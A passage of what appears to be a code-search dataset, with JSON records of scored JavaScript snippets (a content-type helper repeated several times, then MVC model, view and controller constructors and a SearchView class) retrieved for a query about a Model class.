from form-data module\n\t\treturn `multipart/form-data;boundary=${body.getBoundary()}`;\n\t} else if (body instanceof Stream) {\n\t\t// body is stream\n\t\t// can't really do much about this\n\t\treturn null;\n\t} else {\n\t\t// Body constructor defaults other things to string\n\t\treturn 'text/plain;charset=UTF-8';\n\t}\n}", "title": "" }, { "docid": "2c11867798e2bb75cf8e7efc4995f301", "score": "0.46590754", "text": "function extractContentType(body) {\n\tif (body === null) {\n\t\t// body is null\n\t\treturn null;\n\t} else if (typeof body === 'string') {\n\t\t// body is string\n\t\treturn 'text/plain;charset=UTF-8';\n\t} else if (isURLSearchParams(body)) {\n\t\t// body is a URLSearchParams\n\t\treturn 'application/x-www-form-urlencoded;charset=UTF-8';\n\t} else if (isBlob(body)) {\n\t\t// body is blob\n\t\treturn body.type || null;\n\t} else if (Buffer.isBuffer(body)) {\n\t\t// body is buffer\n\t\treturn null;\n\t} else if (Object.prototype.toString.call(body) === '[object ArrayBuffer]') {\n\t\t// body is ArrayBuffer\n\t\treturn null;\n\t} else if (ArrayBuffer.isView(body)) {\n\t\t// body is ArrayBufferView\n\t\treturn null;\n\t} else if (typeof body.getBoundary === 'function') {\n\t\t// detect form data input from form-data module\n\t\treturn `multipart/form-data;boundary=${body.getBoundary()}`;\n\t} else if (body instanceof Stream) {\n\t\t// body is stream\n\t\t// can't really do much about this\n\t\treturn null;\n\t} else {\n\t\t// Body constructor defaults other things to string\n\t\treturn 'text/plain;charset=UTF-8';\n\t}\n}", "title": "" }, { "docid": "2c11867798e2bb75cf8e7efc4995f301", "score": "0.46590754", "text": "function extractContentType(body) {\n\tif (body === null) {\n\t\t// body is null\n\t\treturn null;\n\t} else if (typeof body === 'string') {\n\t\t// body is string\n\t\treturn 'text/plain;charset=UTF-8';\n\t} else if (isURLSearchParams(body)) {\n\t\t// body is a URLSearchParams\n\t\treturn 'application/x-www-form-urlencoded;charset=UTF-8';\n\t} else if (isBlob(body)) {\n\t\t// body is blob\n\t\treturn body.type || null;\n\t} else if (Buffer.isBuffer(body)) {\n\t\t// body is buffer\n\t\treturn null;\n\t} else if (Object.prototype.toString.call(body) === '[object ArrayBuffer]') {\n\t\t// body is ArrayBuffer\n\t\treturn null;\n\t} else if (ArrayBuffer.isView(body)) {\n\t\t// body is ArrayBufferView\n\t\treturn null;\n\t} else if (typeof body.getBoundary === 'function') {\n\t\t// detect form data input from form-data module\n\t\treturn `multipart/form-data;boundary=${body.getBoundary()}`;\n\t} else if (body instanceof Stream) {\n\t\t// body is stream\n\t\t// can't really do much about this\n\t\treturn null;\n\t} else {\n\t\t// Body constructor defaults other things to string\n\t\treturn 'text/plain;charset=UTF-8';\n\t}\n}", "title": "" }, { "docid": "2c11867798e2bb75cf8e7efc4995f301", "score": "0.46590754", "text": "function extractContentType(body) {\n\tif (body === null) {\n\t\t// body is null\n\t\treturn null;\n\t} else if (typeof body === 'string') {\n\t\t// body is string\n\t\treturn 'text/plain;charset=UTF-8';\n\t} else if (isURLSearchParams(body)) {\n\t\t// body is a URLSearchParams\n\t\treturn 'application/x-www-form-urlencoded;charset=UTF-8';\n\t} else if (isBlob(body)) {\n\t\t// body is blob\n\t\treturn body.type || null;\n\t} else if (Buffer.isBuffer(body)) {\n\t\t// body is buffer\n\t\treturn null;\n\t} else if (Object.prototype.toString.call(body) === '[object ArrayBuffer]') {\n\t\t// body is ArrayBuffer\n\t\treturn null;\n\t} else if (ArrayBuffer.isView(body)) {\n\t\t// body is ArrayBufferView\n\t\treturn null;\n\t} else if (typeof body.getBoundary === 'function') {\n\t\t// detect form data input from form-data module\n\t\treturn `multipart/form-data;boundary=${body.getBoundary()}`;\n\t} else if (body instanceof Stream) {\n\t\t// body is stream\n\t\t// can't really do much about this\n\t\treturn null;\n\t} else {\n\t\t// Body constructor defaults other things to string\n\t\treturn 'text/plain;charset=UTF-8';\n\t}\n}", "title": "" }, { "docid": "2c11867798e2bb75cf8e7efc4995f301", "score": "0.46590754", "text": "function extractContentType(body) {\n\tif (body === null) {\n\t\t// body is null\n\t\treturn null;\n\t} else if (typeof body === 'string') {\n\t\t// body is string\n\t\treturn 'text/plain;charset=UTF-8';\n\t} else if (isURLSearchParams(body)) {\n\t\t// body is a URLSearchParams\n\t\treturn 'application/x-www-form-urlencoded;charset=UTF-8';\n\t} else if (isBlob(body)) {\n\t\t// body is blob\n\t\treturn body.type || null;\n\t} else if (Buffer.isBuffer(body)) {\n\t\t// body is buffer\n\t\treturn null;\n\t} else if (Object.prototype.toString.call(body) === '[object ArrayBuffer]') {\n\t\t// body is ArrayBuffer\n\t\treturn null;\n\t} else if (ArrayBuffer.isView(body)) {\n\t\t// body is ArrayBufferView\n\t\treturn null;\n\t} else if (typeof body.getBoundary === 'function') {\n\t\t// detect form data input from form-data module\n\t\treturn `multipart/form-data;boundary=${body.getBoundary()}`;\n\t} else if (body instanceof Stream) {\n\t\t// body is stream\n\t\t// can't really do much about this\n\t\treturn null;\n\t} else {\n\t\t// Body constructor defaults other things to string\n\t\treturn 'text/plain;charset=UTF-8';\n\t}\n}", "title": "" }, { "docid": "2c11867798e2bb75cf8e7efc4995f301", "score": "0.46590754", "text": "function extractContentType(body) {\n\tif (body === null) {\n\t\t// body is null\n\t\treturn null;\n\t} else if (typeof body === 'string') {\n\t\t// body is string\n\t\treturn 'text/plain;charset=UTF-8';\n\t} else if (isURLSearchParams(body)) {\n\t\t// body is a URLSearchParams\n\t\treturn 'application/x-www-form-urlencoded;charset=UTF-8';\n\t} else if (isBlob(body)) {\n\t\t// body is blob\n\t\treturn body.type || null;\n\t} else if (Buffer.isBuffer(body)) {\n\t\t// body is buffer\n\t\treturn null;\n\t} else if (Object.prototype.toString.call(body) === '[object ArrayBuffer]') {\n\t\t// body is ArrayBuffer\n\t\treturn null;\n\t} else if (ArrayBuffer.isView(body)) {\n\t\t// body is ArrayBufferView\n\t\treturn null;\n\t} else if (typeof body.getBoundary === 'function') {\n\t\t// detect form data input from form-data module\n\t\treturn `multipart/form-data;boundary=${body.getBoundary()}`;\n\t} else if (body instanceof Stream) {\n\t\t// body is stream\n\t\t// can't really do much about this\n\t\treturn null;\n\t} else {\n\t\t// Body constructor defaults other things to string\n\t\treturn 'text/plain;charset=UTF-8';\n\t}\n}", "title": "" } ]
b7f1527f1950fbf002b19a82710ae8fa
Model class. Pass the View, Controller and an options hash.
[ { "docid": "575b691e53d54322b3fbce94b683db39", "score": "0.69370246", "text": "function Model(view, controller, options) {\n this.controller = controller;\n this.data = null;\n this.options = $.extend({}, this.options, options);\n this.svc = $.wsdata(options);\n this.view = view;\n }", "title": "" } ]
[ { "docid": "cbdcdc8dc056d6ad3e587736038476bb", "score": "0.6703672", "text": "function Controller(model,view){\n this.model = model;\n this.view = view;\n}", "title": "" }, { "docid": "789c60106d880d5731e97e85196fc3e4", "score": "0.6683111", "text": "constructor(model, view) {\n this.model = model;\n this.view = view;\n this.render();\n }", "title": "" }, { "docid": "7e13d4317d725f7c8af018e066743f1a", "score": "0.6619968", "text": "function Controller(model, view) {\n\tthis.model = model;\n\tthis.view = view;\n\n\t// Elements we are interested in\n\tthis.actionElements = [\n\t\t\"A\",\n\t\t\"BUTTON\",\n\t\t\"CANVAS\",\n\t\t\"INPUT\",\n\t\t\"SELECT\",\n\t\t\"OPTION\",\n\t\t\"TEXTAREA\"\n\t];\n\n}", "title": "" }, { "docid": "5c5b8f27ff7c1f84223eb289ef00dc2f", "score": "0.64016163", "text": "function EmailController(model, view) {\n\t// Store the provided model and view objects.\n\tthis.model = model;\n\tthis.view = view;\n}", "title": "" }, { "docid": "46c5ef0e8aae65c47a343b1ead675214", "score": "0.637914", "text": "function View(model) {\n\tthis.model = model;\n}", "title": "" }, { "docid": "392e911342286591496bae795e8c4cbc", "score": "0.6304331", "text": "function Controller(view, model){\n\t\tconsole.log(\"made it into controller.js\");\t\n\t\t\t//gets input from ioField\n\t\t\tgetInput = function() {\n\t\t\t\tvar input = $input.text();\n\t\t\t\treturn input.match(/error/i) ? 0 : parseFloat($input.text());\n\t\t\t};\n\n\t\t\t//toggles the display to show memory is being accessed\n\t\t\ttoggleMemInd = function () {\n\t\t\t\t$memoryIndication[ m ? \"show\" : \"hide\" ]();\n\t\t\t};\n\n\t\t\t//checks for keyboard inputs\n\t\t\tthis.view.$calculator.click(function(){\n\t\t\t\t$keyboardInput.focus();\n\t\t\t});\t\n\t}", "title": "" }, { "docid": "b244568df6f519a8670e63ba5084e151", "score": "0.6243133", "text": "function ViewData(path, model, options, engine){\n this.path = path;\n this.model = model;\n this.options = options || {};\n this.engine = engine;\n this.html = new HtmlHelper(this);\n this.viewBag = this.options.viewBag || {};\n this.layout = this.options.layout;\n this.sections = this.options.sections;\n}", "title": "" }, { "docid": "fd38c172664e114e7403d233df8fd7ba", "score": "0.60039514", "text": "constructor(model) {\n this.model = model;\n }", "title": "" }, { "docid": "7a4aa803b590d016ae95fd4dd6cffa0e", "score": "0.595045", "text": "function View(self) {\n}", "title": "" }, { "docid": "b9ef63ba76ef1a5f37d281a2d9d7bbd7", "score": "0.58637947", "text": "function Module(options) {\n // Craft the options for the model to pass along to the base model\n var optionsModel = _.chain(options)\n .checkArgMandatory(['program'])\n .defaults({\n url: (_.isUndefined(options.urlProxyProgram)\n ? urlProxyProgramDefault\n : options.urlProxyProgram\n ) + '?code=' + options.program\n })\n .filterArg(['format', 'url'])\n .value(),\n // Instantiate the model which will go out and get the data\n model = new Model(options.defaults || {}, optionsModel),\n // Craft the data object for the view\n optionsView = _.chain(options)\n .checkArgMandatory(['el'])\n .filterArg(['el', 'templatePath', 'urlProxyCourse'])\n // Apply sensible view defaults (placeholder)\n .defaults({\n templatePath: templatePath,\n urlProxyCourse: urlProxyCourseDefault\n })\n .extend({ model: model })\n .value(),\n // Instantiate the program view object\n view = new View(optionsView);\n\n // Derive from the event interface\n _.extend(this, Backbone.Events);\n\n // If the model fails to load or parse properly, then fail\n this.listenToOnce(model, 'error', _.isFunction(options.fail) ? options.fail : _.noop);\n\n // Listen for the view to be done - when that's finished call the success callback\n this.listenToOnce(view, 'render', _.isFunction(options.success) ? options.success : _.noop);\n\n // Have the view listen to changes for when the model has finished loading\n view.listenToOnce(model, 'sync', view.render);\n\n // Fetch the module data\n debug.log('Module instantiated');\n model.fetch();\n }", "title": "" }, { "docid": "4faef0655f4c2ab93e38959454e05835", "score": "0.5852168", "text": "function View(options) {\n options = options || {};\n View.emit('construct', this, [options]);\n this.options = options;\n this.children = [];\n this.owner = options.owner;\n this.template = options.template || template;\n this.root = this;\n if (this.owner) {\n this.owner.children.push(this);\n this.root = this.owner.root;\n }\n this.scope = options.scope;\n this.scopeWatchers = {};\n this.model = new View.Model(View.parse(options));\n this.data = this.model.props;\n View.emit('created', this);\n this.el = this.render();\n View.emit('ready', this);\n }", "title": "" }, { "docid": "6089d63edde0317dc9c85c04a71226aa", "score": "0.58157164", "text": "function View(options) {\n\t this._node = new RenderNode();\n\n\t this._eventInput = new EventHandler();\n\t this._eventOutput = new EventHandler();\n\t EventHandler.setInputHandler(this, this._eventInput);\n\t EventHandler.setOutputHandler(this, this._eventOutput);\n\n\t this.options = Utility.clone(this.constructor.DEFAULT_OPTIONS || View.DEFAULT_OPTIONS);\n\t this._optionsManager = new OptionsManager(this.options);\n\n\t if (options) this.setOptions(options);\n\t }", "title": "" }, { "docid": "6089d63edde0317dc9c85c04a71226aa", "score": "0.58157164", "text": "function View(options) {\n\t this._node = new RenderNode();\n\n\t this._eventInput = new EventHandler();\n\t this._eventOutput = new EventHandler();\n\t EventHandler.setInputHandler(this, this._eventInput);\n\t EventHandler.setOutputHandler(this, this._eventOutput);\n\n\t this.options = Utility.clone(this.constructor.DEFAULT_OPTIONS || View.DEFAULT_OPTIONS);\n\t this._optionsManager = new OptionsManager(this.options);\n\n\t if (options) this.setOptions(options);\n\t }", "title": "" }, { "docid": "f942b475e93c21315f984b9642037362", "score": "0.5804022", "text": "function Controller () {}", "title": "" }, { "docid": "d91ccf35bc99dce4c791d17553663a46", "score": "0.5799422", "text": "__initInstance(model, options) {\n this.__hydrateModel(model);\n this.__parseOptions(options);\n this.__cloneSections();\n this.__initFieldMetadata();\n }", "title": "" }, { "docid": "8656193d2cbe1f0b244d4124b263e15f", "score": "0.5788794", "text": "function Controller() {\n\t \n\t }", "title": "" }, { "docid": "8656193d2cbe1f0b244d4124b263e15f", "score": "0.5788794", "text": "function Controller() {\n\t \n\t }", "title": "" }, { "docid": "fa81d17cda3c703e65ec814264668604", "score": "0.5781983", "text": "function View(element, model) {\n this.element = element;\n this.model = model;\n }", "title": "" }, { "docid": "fb4b71fbcc92f6fd13fd75dcfe789849", "score": "0.5736255", "text": "function View(els, models, options) {\n if (els.jquery || els instanceof Array) {\n this.els = els;\n } else {\n this.els = [els];\n }\n\n this.models = models;\n this.options = options;\n this.build();\n }", "title": "" }, { "docid": "3d60a64c1d5ad9ace9030662701110b3", "score": "0.5719809", "text": "function Controller() {}", "title": "" }, { "docid": "5450ab20be23e9debb6d0ed04b4d2650", "score": "0.56689674", "text": "constructor(model) {\n\tsuper();\n this.model = model;\n }", "title": "" }, { "docid": "4dd433fadb81f24a5eb7658b18407291", "score": "0.56645375", "text": "function viewmodel(args) {\n\n return {\n getView: function () {\n return view;\n },\n\n activate: function () {\n return utils.promiseTimeout(500);\n }\n }\n }", "title": "" }, { "docid": "9e99af167a75f46a932d16f06e63d08f", "score": "0.5659713", "text": "function Controller(model, root, context) {\n /* The updaters for this */\n this._updates = null;\n this.model = model;\n this.root = root;\n this.active = true;\n this._parent = context;\n this._parse(root, context);\n }", "title": "" }, { "docid": "374493d19f708a0820bdf99801465fc4", "score": "0.5645185", "text": "function ViewEditModel() {\n ViewEditModel.superclass.constructor.apply( this, arguments );\n }", "title": "" }, { "docid": "b34a6670181169fa607cd5dd935b4d56", "score": "0.56425834", "text": "function Controller() {\n\n\t }", "title": "" }, { "docid": "e998e2d50acb474895dc4b56b28cff30", "score": "0.561948", "text": "function View() {\n\t\t\t\tthis.ID = ID;\n\t\t\t\tthis.Title = title || 'undefined';\n\t\t\t\tthis.HTML = '';\n\t\t\t\tthis.JS = '';\n\t\t\t\tthis.path = '';\n\t\t\t}", "title": "" }, { "docid": "6f4c0691eea2a87e2763d2a0a2323c70", "score": "0.56142706", "text": "function View(bindActions, model, ctrl, options) {\n options = options || {};\n this.mode = \"normal\";\n this.selection = null;\n this.sel_inverted = false;\n this.active = null;\n this.o = util.extend(\n {\n Node: DefaultNode,\n ViewLayer: DomViewLayer,\n noSelectRoot: false,\n animate: true\n },\n options\n );\n this.o.keybindings = util.merge(this.default_keys, options.keys);\n this.vl = new this.o.ViewLayer(this.o);\n this.bindActions = bindActions;\n this.model = model;\n this.ctrl = ctrl;\n // actually DragAndDrop\n this.dnd = new DungeonsAndDragons(\n this.vl,\n ctrl.actions.move.bind(ctrl)\n );\n this.lazy_children = {};\n\n this.newNode = null;\n this.attachListeners();\n }", "title": "" }, { "docid": "1fc6003a95349a4aa831c40ccac38ea2", "score": "0.5601944", "text": "function view(model){\n return {\n title: getTitle(),\n table: getTable(model)\n }\n}", "title": "" }, { "docid": "1fc6003a95349a4aa831c40ccac38ea2", "score": "0.5601944", "text": "function view(model){\n return {\n title: getTitle(),\n table: getTable(model)\n }\n}", "title": "" }, { "docid": "1fc6003a95349a4aa831c40ccac38ea2", "score": "0.5601944", "text": "function view(model){\n return {\n title: getTitle(),\n table: getTable(model)\n }\n}", "title": "" }, { "docid": "e682fa466176e1acef27b267bd59bbd7", "score": "0.55750275", "text": "function TView(){}", "title": "" }, { "docid": "3c9df8493fc209edb16f72f2b43c5422", "score": "0.55736667", "text": "function View() {}", "title": "" }, { "docid": "54be9876a142b622800e01e57a720c0a", "score": "0.5570845", "text": "setupController(controller , model ){ \n controller.set('webapidata',model.resultM);\n }", "title": "" }, { "docid": "7e7edd2c73599239236adf3e3868c482", "score": "0.5532282", "text": "function viewmodel(args) {\n var self = this;\n this.id = ko.observable(args.id || 0);\n\n return {\n getView: function () {\n return view;\n },\n\n id: self.id,\n\n showId: function () {\n swal({\n title: \"Info!\",\n text: \"Id: \" + self.id(),\n icon: \"success\",\n });\n },\n\n activate: function () {\n return utils.promiseTimeout(500);\n }\n }\n }", "title": "" }, { "docid": "f7785f8c9e13a8d0d8325519358833e1", "score": "0.5532136", "text": "constructor(productoModel, productoView) {\n this.productoModel = productoModel;\n this.productoView = productoView;\n }", "title": "" }, { "docid": "8055ec6e2325b4c58969ce4ab7de0a29", "score": "0.55099344", "text": "function CalculatorController(model, view) {\n\t\tconsoleLog('CONTROLLER: initialized'); // debug\n\n\t\tthis._model = model;\n\t\tthis._view = view;\n\n\t\tvar _self = this;\n\n\t\t// attach model listeners\n\t\tthis._model.numberValuePushed.attach(function(sender, args) {\n\t\t\t_self._view.renderMainDisplay(args.number);\n\t\t});\n\n\t\tthis._model.resultCalculated.attach(function(sender, args) {\n\t\t\t_self._view.renderMainDisplay(args.result);\n\t\t});\n\n\t\tthis._model.calculateValuePushed.attach(function(sender, args) {\n\t\t\t_self._view.renderHistoryDisplay(args.calculate);\n\t\t});\n\n\t\t// attach view listeners\n\t\tthis._view.numberButtonClicked.attach(function(sender, args) {\n\t\t\t_self.numberPressed(args.number);\n\t\t});\n\n\t\tthis._view.operatorButtonClicked.attach(function(sender, args) {\n\t\t\t_self.operatorPressed(args.operator);\n\t\t});\n\t}", "title": "" }, { "docid": "c1cfd98c4a3d346c0763a119813693da", "score": "0.5494715", "text": "function Controller() {\n \n }", "title": "" }, { "docid": "c1cfd98c4a3d346c0763a119813693da", "score": "0.5494715", "text": "function Controller() {\n \n }", "title": "" }, { "docid": "b1d2289f1ec4427ea019a23db8924a6c", "score": "0.5493912", "text": "function donorsController (donorsModel) {\n\tthis.model = donorsModel;\n}", "title": "" }, { "docid": "7c8bd9cc018fa646c483e582981b7aa6", "score": "0.5475036", "text": "function PageView(options) {\n var that = this;\n View.apply(this, arguments);\n this.options = options;\n\n this.game_id = that.options.args[0];\n this.loadModels();\n\n // create the layout\n this.layout = new HeaderFooterLayout({\n headerSize: App.Defaults.Header.size,\n footerSize: App.Defaults.Footer.size\n });\n\n // this.createFooter();\n\n // // create the header\n // this.header = new NavigationBar({\n // content: \"\",\n // classes: [\"normal-header\"],\n // backClasses: [\"normal-header\"],\n // moreClasses: [\"normal-header\"],\n // moreContent: \"Players\"\n // }); \n // this.header._eventOutput.on('back',function(){\n // window.history.go(-1);\n // });\n // this.header._eventOutput.on('more',function(){\n // // rewrite the event\n // this._eventOutput.emit('menutoggle');\n // });\n // this.header.title.on('click',function(){\n // // rewrite the event\n // that.PlayerGameListView.collection.requestNextPage();\n // });\n // this.header.pipe(this._eventInput);\n // this._eventInput.on('menutoggle', this.menuToggle.bind(this));\n\n // // Header StateModifier\n // this.header.StateModifier = new StateModifier();\n\n this.createContent();\n this.createHeader();\n \n // Attach the main transform and the comboNode to the renderTree\n this.add(this.layout);\n\n\n this.model.populated().then(function(){\n\n // Show user information\n that.contentLightbox.show(that.contentScrollView);\n\n // // Show Certify, Certified, or Nothing\n // // - determine is_me\n // if(that.model.get('is_me') == true && that.model.get('user_id') == App.Data.User.get('_id')){\n // console.error('is_me!');\n // that.profileRight.Layout.show(that.profileRight.EditProfile);\n // } else if (that.model.get('connected_user_id') == App.Data.User.get('_id')){\n // console.error('is_me!');\n // that.profileRight.Layout.show(that.profileRight.EditProfile);\n // } else {\n // that.is_me = false;\n // console.error('Not is_me!');\n\n // // Connected to this person?\n // // console.log(that.model.get('related_player_ids'));\n // // console.log(App.Data.Players.findMe().get('related_player_ids'));\n // // console.log(_.intersection(that.model.get('related_player_ids'),App.Data.Players.findMe().get('related_player_ids')));\n // // console.log(that.model.toJSON());\n // var my_friend_player_ids = _.pluck(App.Data.Players.toJSON(), '_id');\n // // console.log(my_friend_player_ids);\n // if(_.intersection(that.model.get('related_player_ids'),my_friend_player_ids).length > 0){\n // that.profileRight.Layout.show(that.profileRight.Connected);\n // } else {\n // that.profileRight.Layout.show(that.profileRight.Connect);\n // }\n // }\n\n // update going forward\n that.update_content();\n that.model.on('change', that.update_content.bind(that));\n\n });\n\n\n // // Get my stats\n // that.stats_collection = new GameModel.GameCollection([],{\n // player_id: player_id\n // });\n // // that.stats_collection.\n // that.stats_collection.fetch({prefill: true, limit: 0});\n // that.stats_collection.populated().then(function(){\n // that.update_content();\n // that.stats_collection.on('sync', that.update_content.bind(that));\n // });\n\n // // Player list\n // that.player_collection = new PlayerModel.PlayerCollection([],{\n // player_id: player_id\n // });\n // that.player_collection.on(\"sync\", function(collection){\n // // console.info(that.player_collection.toJSON().length);\n // var tmpCount = that.player_collection.toJSON().length - 1;\n // if(tmpCount < 0){\n // tmpCount = 0;\n // }\n // that.profileRight.OverallRecord.Right.setContent('<div>'+tmpCount.toString()+'</div><div>Nemeses</div>');\n // });\n // that.player_collection.fetch({prefill: true});\n\n // window.setTimeout(function(){\n // KnowPlayerId.resolve(\"529c02f00705435badb1dff5\");\n // },3000);\n\n }", "title": "" }, { "docid": "eb5f75d64b65c0ddb0e7d7f455b96984", "score": "0.5465704", "text": "constructor(){\n\t\tBase.apply(this, arguments);\n\t\tthis._initRenderOnModelChange();\n\t}", "title": "" }, { "docid": "eb6ad70b9a47686d8debdb99d0d117a2", "score": "0.5457726", "text": "setupController(controller , model ){ \n //console.log(\"Ingresa controller\" , controller.set('webapidata',model.resultA)); \n controller.set('webapidata',model.resultA);\n // controller.set('webapidata2',model.resultB);\n // controller.set('webapidata3',model.resultC);\n // controller.set('webapidata4',model.resultD);\n\n }", "title": "" }, { "docid": "37631e72845b16090206a1458189b8c1", "score": "0.5436864", "text": "function makeView(model, view, controller, parent) {\n return view(model, controller(model, parent));\n}", "title": "" }, { "docid": "97324a0a5e27def34aabfd31168cbf53", "score": "0.5364804", "text": "initController() {\n var className = this.controller,\n initCmd = 'new ' + className + '({ view: this });';\n this._controller = eval(initCmd);\n }", "title": "" }, { "docid": "03adadd2e1d776c1e5f6559950167f11", "score": "0.53519404", "text": "constructor(model) {\n this.model = model;\n $(model).on('change', this.render.bind(this));\n }", "title": "" }, { "docid": "4a74431594646d9bcd2d6a712a546ecc", "score": "0.5349534", "text": "function SearchView(options) {\n var instance = (options.instance !== null && options.instance !== undefined) ? options.instance : this;\n var extender = new InstanceExtender();\n \n if (options.instance === null || options.instance === undefined) {\n instance = extender.extendNewInstance({ 'instance': instance, 'options': options});\n }\n \n //extend from object view\n var extOptions = Object.create(options);\n extOptions.instance = instance;\n extOptions.events = false;\n instance = ObjectView(extOptions);\n \n /// <summary>Gets the type of view.</summary>\n instance.getType = function () {\n return 'SearchView';\n };\n \n /// <summary>Clears (resets) observer records list and view.</summary>\n instance.clearRecords = function () {\n\n if (instance.getObserverInterface() !== null && instance.getObserverInterface() !== undefined) {\n\n if (instance.getObserverInterface() !== null && instance.getObserverInterface() !== undefined) {\n\n if (instance.getObserverInterface().getType() === 'ListObserver'\n || instance.getObserverInterface().getType() === 'ListKNObserver') {\n\n instance.getObserverInterface().clearList();\n instance.getObserverInterface().displayProcessing(false);\n\n } else {\n\n instance.getObserverInterface().clearListRecordsView();\n instance.getObserverInterface().displayProcessing(false);\n instance.getObserverInterface().fillListRecordsView({\n 'page': 1,\n 'responseData': null,\n 'records': instance.getObserverInterface().getRecords(),\n 'immediateRecords': true\n });\n }\n }\n }\n };\n\n /// <summary>Selects records based on provided key (views object key) and keyword (via observer keyword property) and page number.</summary>\n instance.select = function (options, fill) {\n\n if (instance.getObjectKey() !== null && instance.getObjectKey() !== undefined) {\n\n if (instance.getObjectKey().length === 0) {\n\n instance.setObjectKey(null);\n instance.find(options, fill);\n\n } else {\n\n if (instance.getObserverInterface() !== null && instance.getObserverInterface() !== undefined) {\n\n instance.getObserverInterface().displayProcessingActivity();\n }\n\n if (typeof (options) === \"object\") {\n\n options.uri = (options.uri !== null && options.uri !== undefined) ? options.uri : instance.URI;\n options.keyword = (options.keyword !== null && options.keyword !== undefined) ? options.keyword : instance.getObserverInterface().getKeyword();\n options.fill = fill;\n instance.getCRUDProcessor().select(options);\n\n } else {\n\n instance.getCRUDProcessor().select({\n 'uri': instance.URI,\n 'key': instance.getObjectKey(),\n 'keyword': instance.getObserverInterface().getKeyword(),\n 'size': instance.getObserverInterface().getListSize(),\n 'page': options,\n 'fill': fill\n });\n }\n }\n\n } else {\n\n instance.find(options, fill);\n }\n };\n\n /// <summary>Selects records based on provided key (views object key) and keyword (via observer keyword property) and page number.</summary>\n instance.selectList = function (options, fill) {\n\n if (instance.getObjectKey() !== null && instance.getObjectKey() !== undefined) {\n\n if (instance.getObjectKey().length === 0) {\n\n instance.setObjectKey(null);\n instance.list(options, fill);\n\n } else {\n\n if (instance.getObserverInterface() !== null && instance.getObserverInterface() !== undefined) {\n\n instance.getObserverInterface().displayProcessingActivity();\n }\n\n if (typeof (options) === \"object\") {\n\n options.uri = (options.uri !== null && options.uri !== undefined) ? options.uri : instance.URI;\n options.keyword = (options.keyword !== null && options.keyword !== undefined) ? options.keyword : instance.getObserverInterface().getKeyword();\n options.fill = fill;\n instance.getCRUDProcessor().selectList(options);\n\n } else {\n\n instance.getCRUDProcessor().selectList({\n 'uri': instance.URI,\n 'key': instance.getObjectKey(),\n 'keyword': instance.getObserverInterface().getKeyword(),\n 'fill': fill\n });\n }\n }\n\n } else {\n\n instance.list(options, fill);\n }\n };\n \n /// <summary>Find records based on provided keyword (via observer keyword property) and page number.</summary>\n instance.find = function (options, fill) {\n\n if (instance.getObjectKey() !== null && instance.getObjectKey() !== undefined) {\n\n if (instance.getObjectKey().length === 0) {\n\n instance.setObjectKey(null);\n instance.find(options, fill);\n\n } else {\n instance.select(options, fill);\n }\n } else {\n\n if (instance.getObserverInterface() !== null && instance.getObserverInterface() !== undefined) {\n\n instance.getObserverInterface().displayProcessingActivity();\n }\n\n if (typeof (options) === \"object\") {\n\n options.uri = (options.uri !== null && options.uri !== undefined) ? options.uri : instance.URI;\n options.keyword = (options.keyword !== null && options.keyword !== undefined) ? options.keyword : instance.getObserverInterface().getKeyword();\n options.fill = fill;\n instance.getCRUDProcessor().find(options);\n\n } else {\n\n instance.getCRUDProcessor().find({\n 'uri': instance.URI,\n 'keyword': instance.getObserverInterface().getKeyword(),\n 'size': instance.getObserverInterface().getListSize(),\n 'page': options,\n 'fill': fill\n });\n }\n }\n };\n\n /// <summary>Find records based on provided keyword (via observer keyword property) and page number.</summary>\n instance.list = function (options, fill) {\n\n if (instance.getObjectKey() !== null && instance.getObjectKey() !== undefined) {\n\n if (instance.getObjectKey().length === 0) {\n\n instance.setObjectKey(null);\n instance.list(options, fill);\n\n } else {\n instance.selectList(options, fill);\n }\n } else {\n\n if (instance.getObserverInterface() !== null && instance.getObserverInterface() !== undefined) {\n\n instance.getObserverInterface().displayProcessingActivity();\n }\n\n if (typeof (options) === \"object\") {\n\n options.uri = (options.uri !== null && options.uri !== undefined) ? options.uri : instance.URI;\n options.keyword = (options.keyword !== null && options.keyword !== undefined) ? options.keyword : instance.getObserverInterface().getKeyword();\n options.fill = fill;\n\n instance.getCRUDProcessor().list(options);\n\n } else {\n\n instance.getCRUDProcessor().list({\n 'uri': instance.URI,\n 'keyword': instance.getObserverInterface().getKeyword(),\n 'fill': fill\n });\n }\n }\n };\n\n /// <summary>Find records based on provided keyword (via observer keyword property) and page number.</summary>\n instance.findRequest = function (options) {\n\n var newOptions = Object.create(options);\n\n if (instance.getObserverInterface() !== null && instance.getObserverInterface() !== undefined) {\n\n instance.getObserverInterface().displayProcessingActivity();\n }\n\n newOptions.contentType = instance.extendContentMethods(newOptions);\n newOptions.scopeObject = options.scopeObject;\n\n newOptions.uri = (newOptions.uri !== null && newOptions.uri !== undefined) ? newOptions.uri : instance.newOptions().uri;\n newOptions.keyword = (newOptions.keyword !== null && newOptions.keyword !== undefined) ? newOptions.keyword : ((instance.getObserverInterface() !== null && instance.getObserverInterface() !== undefined) ? instance.getObserverInterface().getKeyword() : null);\n newOptions.size = (newOptions.size !== null && newOptions.size !== undefined) ? newOptions.size : instance.getObserverInterface().getListSize(); \n\n instance.getCRUDProcessor().find(newOptions);\n };\n \n /// <summary>List records based on provided keyword (via observer keyword property) and page number.</summary>\n instance.listRequest = function (options) {\n\n var newOptions = Object.create(options);\n\n if (instance.getObserverInterface() !== null && instance.getObserverInterface() !== undefined) {\n\n instance.getObserverInterface().displayProcessingActivity();\n }\n\n newOptions.contentType = instance.extendContentMethods(newOptions);\n newOptions.scopeObject = options.scopeObject;\n\n newOptions.uri = (newOptions.uri !== null && newOptions.uri !== undefined) ? newOptions.uri : instance.newOptions().uri; //instance.newOptions() referes to view constructing options. \n newOptions.keyword = (newOptions.keyword !== null && newOptions.keyword !== undefined) ? newOptions.keyword : ((instance.getObserverInterface() !== null && instance.getObserverInterface() !== undefined) ? instance.getObserverInterface().getKeyword() : null);\n\n instance.getCRUDProcessor().list(newOptions);\n };\n\n /// <summary>Loads view and related lists.</summary>\n instance.load = function (options, fill) {\n\n instance.LoadFields(options);\n instance.find(1, fill);\n };\n \n if (instance.getObserverInterface() !== null &&\n instance.getObserverInterface() !== undefined) {\n \n /** \n * Observer clearRecords function definition.\n * \n * @returns {undefined}\n */\n instance.getObserverInterface().clearRecords = function () {\n instance.clearRecords();\n };\n\n /** \n * Observer select function definition.\n * \n * @param {type} page\n * @returns {undefined}\n */\n instance.getObserverInterface().select = function (page) {\n instance.select(page);\n };\n\n /** \n * Observer selectList function definition.\n * \n * @param {type} page\n * @returns {undefined}\n */\n instance.getObserverInterface().selectList = function (page) {\n instance.selectList(page);\n };\n\n /** \n * Observer find function definition.\n * \n * @param {type} page\n * @returns {undefined}\n 